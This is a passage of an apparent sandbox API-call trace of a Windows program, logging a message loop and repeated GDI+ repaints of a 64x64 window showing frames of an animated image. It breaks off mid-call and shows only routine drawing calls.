[0149.565] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0149.565] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.565] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0149.565] GdipCreateRegion (region=0x15dc20) returned 0x0 [0149.565] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0149.565] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0149.565] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0149.565] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0149.565] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0149.565] GetSystemMetrics (nIndex=42) returned 0 [0149.565] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0149.565] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0149.565] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0149.565] CoTaskMemFree (pv=0x1e91eca0) [0149.565] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0149.566] GdipCreateRegion (region=0x15d710) returned 0x0 [0149.566] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0149.566] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0149.566] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0149.566] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0149.566] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0149.566] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0149.566] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0149.566] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0149.567] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0149.567] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0149.567] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0149.567] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.567] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0149.567] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0149.567] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0149.567] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0149.567] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.568] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0149.568] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0149.568] GetCurrentObject (hdc=0xffffffff870107cb, type=0x1) returned 0x1b00017 [0149.568] GetCurrentObject (hdc=0xffffffff870107cb, type=0x2) returned 0x1900010 [0149.568] GetCurrentObject (hdc=0xffffffff870107cb, type=0x7) returned 0x1a05067e [0149.568] GetCurrentObject (hdc=0xffffffff870107cb, type=0x6) returned 0x18a002e [0149.568] SaveDC (hdc=0xffffffff870107cb) returned 1 [0149.568] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffc1040b8a [0149.568] GetClipRgn (hdc=0xffffffff870107cb, hrgn=0xffffffffc1040b8a) returned 0 [0149.568] SelectClipRgn (hdc=0xffffffff870107cb, hrgn=0xfffffffff10407c3) returned 2 [0149.568] DeleteObject (ho=0xffffffffc1040b8a) returned 1 [0149.568] DeleteObject (ho=0xfffffffff10407c3) returned 1 [0149.568] OffsetViewportOrgEx (in: hdc=0xffffffff870107cb, x=0, y=0, lppt=0x26f6418 | out: lppt=0x26f6418) returned 1 [0149.568] GetNearestColor (hdc=0xffffffff870107cb, color=0xffffff) returned 0xffffff [0149.569] CreateSolidBrush (color=0xffffff) returned 0xffffffffc9100190 [0149.569] FillRect (hDC=0xffffffff870107cb, lprc=0x15d7c0, hbr=0xffffffffc9100190) returned 1 [0149.569] DeleteObject (ho=0xffffffffc9100190) returned 1 [0149.569] RestoreDC (hdc=0xffffffff870107cb, nSavedDC=-1) returned 1 [0149.569] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.569] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff870107cb) returned 0x0 [0149.569] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc540dbd) returned 0x0 [0149.569] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.569] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0149.569] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0149.569] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0149.569] GetSystemMetrics (nIndex=42) returned 0 [0149.569] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0149.569] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0149.569] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0149.570] CoTaskMemFree (pv=0x1e91eca0) [0149.570] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x1a) returned 0x0 [0149.572] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0149.572] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0149.572] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0149.572] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0149.572] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0xffffffff870107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0149.572] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.572] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff870107cb) returned 0x0 [0149.573] SelectObject (hdc=0xffffffff870107cb, h=0x185000f) returned 0x1a05067e [0149.573] DeleteDC (hdc=0xffffffff870107cb) returned 1 [0149.573] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.573] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0149.573] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0149.573] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0149.573] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0149.573] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0149.573] WaitMessage () returned 1 [0149.732] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0149.732] IsWindowUnicode (hWnd=0x2031e) returned 1 [0149.732] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0149.732] TranslateMessage (lpMsg=0x15e910) returned 0 [0149.732] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0149.733] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0149.733] GetCurrentThreadId () returned 0xec0 [0149.733] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0149.733] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0149.733] IsWindowUnicode (hWnd=0x2031e) returned 1 [0149.733] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0149.733] TranslateMessage (lpMsg=0x15e910) returned 0 [0149.733] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0149.733] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0149.733] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0149.733] CreateCompatibleDC (hdc=0x3010b83) returned 0xffffffff880107cb [0149.733] SelectObject (hdc=0xffffffff880107cb, h=0x1a05067e) returned 0x185000f [0149.733] GdipCreateFromHDC (hdc=0xffffffff880107cb, graphics=0x15daf0) returned 0x0 [0149.734] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0149.734] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0149.734] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0149.734] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0149.734] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0149.734] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0149.734] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0149.735] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0149.735] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.735] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0149.735] GdipCreateRegion (region=0x15dc20) returned 0x0 [0149.735] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0149.735] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0149.735] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0149.735] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0149.735] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0149.736] GetSystemMetrics (nIndex=42) returned 0 [0149.736] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0149.736] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0149.736] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0149.736] CoTaskMemFree (pv=0x1e91eca0) [0149.736] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0149.736] GdipCreateRegion (region=0x15d710) returned 0x0 [0149.736] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0149.736] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0149.736] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0149.736] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0149.736] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0149.736] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0149.737] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0149.737] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0149.737] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0149.737] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0149.737] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0149.738] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.738] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0149.738] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0149.738] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0149.738] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0149.738] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.738] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0149.738] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0149.738] GetCurrentObject (hdc=0xffffffff880107cb, type=0x1) returned 0x1b00017 [0149.738] GetCurrentObject (hdc=0xffffffff880107cb, type=0x2) returned 0x1900010 [0149.738] GetCurrentObject (hdc=0xffffffff880107cb, type=0x7) returned 0x1a05067e [0149.739] GetCurrentObject (hdc=0xffffffff880107cb, type=0x6) returned 0x18a002e [0149.739] SaveDC (hdc=0xffffffff880107cb) returned 1 [0149.739] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xfffffffff20407c3 [0149.739] GetClipRgn (hdc=0xffffffff880107cb, hrgn=0xfffffffff20407c3) returned 0 [0149.739] SelectClipRgn (hdc=0xffffffff880107cb, hrgn=0xffffffffc2040b8a) returned 2 [0149.739] DeleteObject (ho=0xfffffffff20407c3) returned 1 [0149.739] DeleteObject (ho=0xffffffffc2040b8a) returned 1 [0149.739] OffsetViewportOrgEx (in: hdc=0xffffffff880107cb, x=0, y=0, lppt=0x26f7718 | out: lppt=0x26f7718) returned 1 [0149.739] GetNearestColor (hdc=0xffffffff880107cb, color=0xffffff) returned 0xffffff [0149.739] CreateSolidBrush (color=0xffffff) returned 0xffffffffca100190 [0149.739] FillRect (hDC=0xffffffff880107cb, lprc=0x15d7c0, hbr=0xffffffffca100190) returned 1 [0149.740] DeleteObject (ho=0xffffffffca100190) returned 1 [0149.740] RestoreDC (hdc=0xffffffff880107cb, nSavedDC=-1) returned 1 [0149.740] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.740] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff880107cb) returned 0x0 [0149.740] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc520dbd) returned 0x0 [0149.740] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.740] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0149.740] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0149.740] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0149.740] GetSystemMetrics (nIndex=42) returned 0 [0149.740] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0149.741] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0149.741] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0149.741] CoTaskMemFree (pv=0x1e91eca0) [0149.741] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0149.741] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0149.741] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0149.741] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0149.741] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0xffffffff880107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0149.741] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.741] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff880107cb) returned 0x0 [0149.741] SelectObject (hdc=0xffffffff880107cb, h=0x185000f) returned 0x1a05067e [0149.742] DeleteDC (hdc=0xffffffff880107cb) returned 1 [0149.742] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.742] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0149.742] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0149.742] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0149.742] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0149.742] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0149.742] WaitMessage () returned 1 [0149.921] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0149.921] IsWindowUnicode (hWnd=0x2031e) returned 1 [0149.921] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0149.921] TranslateMessage (lpMsg=0x15e910) returned 0 [0149.921] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0149.921] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0149.921] GetCurrentThreadId () returned 0xec0 [0149.921] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0149.921] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0149.921] IsWindowUnicode (hWnd=0x2031e) returned 1 [0149.921] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0149.922] TranslateMessage (lpMsg=0x15e910) returned 0 [0149.922] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0149.922] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0149.922] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0149.922] CreateCompatibleDC (hdc=0x3010b83) returned 0xffffffff890107cb [0149.922] SelectObject (hdc=0xffffffff890107cb, h=0x1a05067e) returned 0x185000f [0149.922] GdipCreateFromHDC (hdc=0xffffffff890107cb, graphics=0x15daf0) returned 0x0 [0149.922] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0149.922] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0149.922] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0149.923] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0149.923] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0149.923] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0149.923] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0149.923] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0149.924] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.924] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0149.924] GdipCreateRegion (region=0x15dc20) returned 0x0 [0149.924] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0149.924] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0149.924] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0149.924] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0149.924] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0149.924] GetSystemMetrics (nIndex=42) returned 0 [0149.924] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0149.924] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0149.924] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0149.924] CoTaskMemFree (pv=0x1e91eca0) [0149.924] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0149.924] GdipCreateRegion (region=0x15d710) returned 0x0 [0149.924] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0149.925] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0149.925] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0149.925] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0149.925] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0149.925] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0149.925] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0149.925] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0149.925] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0149.925] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0149.926] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0149.926] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.926] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0149.926] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0149.926] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0149.926] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0149.926] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.926] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0149.927] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0149.927] GetCurrentObject (hdc=0xffffffff890107cb, type=0x1) returned 0x1b00017 [0149.927] GetCurrentObject (hdc=0xffffffff890107cb, type=0x2) returned 0x1900010 [0149.927] GetCurrentObject (hdc=0xffffffff890107cb, type=0x7) returned 0x1a05067e [0149.927] GetCurrentObject (hdc=0xffffffff890107cb, type=0x6) returned 0x18a002e [0149.927] SaveDC (hdc=0xffffffff890107cb) returned 1 [0149.927] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffc3040b8a [0149.927] GetClipRgn (hdc=0xffffffff890107cb, hrgn=0xffffffffc3040b8a) returned 0 [0149.927] SelectClipRgn (hdc=0xffffffff890107cb, hrgn=0xfffffffff30407c3) returned 2 [0149.927] DeleteObject (ho=0xffffffffc3040b8a) returned 1 [0149.927] DeleteObject (ho=0xfffffffff30407c3) returned 1 [0149.927] OffsetViewportOrgEx (in: hdc=0xffffffff890107cb, x=0, y=0, lppt=0x26f8050 | out: lppt=0x26f8050) returned 1 [0149.927] GetNearestColor (hdc=0xffffffff890107cb, color=0xffffff) returned 0xffffff [0149.928] CreateSolidBrush (color=0xffffff) returned 0xffffffffcb100190 [0149.928] FillRect (hDC=0xffffffff890107cb, lprc=0x15d7c0, hbr=0xffffffffcb100190) returned 1 [0149.928] DeleteObject (ho=0xffffffffcb100190) returned 1 [0149.928] RestoreDC (hdc=0xffffffff890107cb, nSavedDC=-1) returned 1 [0149.928] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.928] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff890107cb) returned 0x0 [0149.928] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc500dbd) returned 0x0 [0149.928] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.928] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0149.928] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0149.928] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0149.928] GetSystemMetrics (nIndex=42) returned 0 [0149.928] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0149.928] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0149.928] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0149.929] CoTaskMemFree (pv=0x1e91eca0) [0149.929] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x1c) returned 0x0 [0149.931] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0149.931] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0149.931] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0149.931] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0149.931] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0xffffffff890107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0149.932] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.932] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff890107cb) returned 0x0 [0149.932] SelectObject (hdc=0xffffffff890107cb, h=0x185000f) returned 0x1a05067e [0149.932] DeleteDC (hdc=0xffffffff890107cb) returned 1 [0149.932] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.932] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0149.932] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0149.932] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0149.932] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0149.932] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0149.932] WaitMessage () returned 1 [0150.077] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0150.077] IsWindowUnicode (hWnd=0x2031e) returned 1 [0150.077] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0150.078] TranslateMessage (lpMsg=0x15e910) returned 0 [0150.078] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0150.078] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0150.078] GetCurrentThreadId () returned 0xec0 [0150.078] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0150.078] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0150.078] IsWindowUnicode (hWnd=0x2031e) returned 1 [0150.078] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0150.078] TranslateMessage (lpMsg=0x15e910) returned 0 [0150.078] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0150.079] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0150.079] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0150.079] CreateCompatibleDC 